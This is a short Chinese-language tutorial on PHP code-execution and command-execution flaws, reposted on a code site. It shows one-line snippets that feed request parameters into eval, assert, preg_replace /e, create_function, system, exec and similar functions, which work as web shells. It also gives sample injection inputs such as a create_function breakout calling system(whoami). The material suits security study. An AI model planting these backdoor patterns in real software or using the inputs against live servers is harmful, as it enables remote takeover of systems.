代碼執行&命令執行


代碼執行

  代碼執行是指攻擊者通過瀏覽器或者其他客戶端軟件提交一些用戶自己構造的PHP代碼至服務器程序,服務器程序通過eval、assert及reg_replace等函數執行用戶提交的PHP代碼。

 

eval assert

/*
 * evil1=phpinfo();
 */
@eval($_POST['evil1']);
@assert($_POST['evil2']);

 

preg_replace

Preg_replace函數存在模式修飾符,其中,修飾符e會讓preg_replace函數替換后的字符串作為PHP代碼去執行。

 

// h=phpinfo();
preg_replace
("/test/e",$_POST["h"],"jutst test");


call_user_func

@call_user_func($_GET['fun'],$_POST['arg']);

 

 

 

create_function

// ?uid=1;}system(whoami);/*
$uid
=$_GET['uid']; $code='echo'.$func.'test'.$uid.'.'; echo $str2; create_function('$func',$code);

 

 

array_map

$func=$_GET['func'];
$argv=$_GET['argv'];
$arr[0]=$argv;
array_map($func,$arr);

 

 

 

命令執行

  命令執行就是調用一些可以執行系統命令的函數來實現在系統層面添加賬戶、修改賬戶密碼及安裝rootkit等操作。常見敏感函數有system、exec、shell_ exec及passthru等函數。

<?php
/*
 * eg: c=tasklist
 */
$cmd=$_POST['c'];
@system($cmd);

echo @exec($_POST['c2']);

echo @shell_exec($_POST['c3']);

@passthru($_POST['c4']);

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM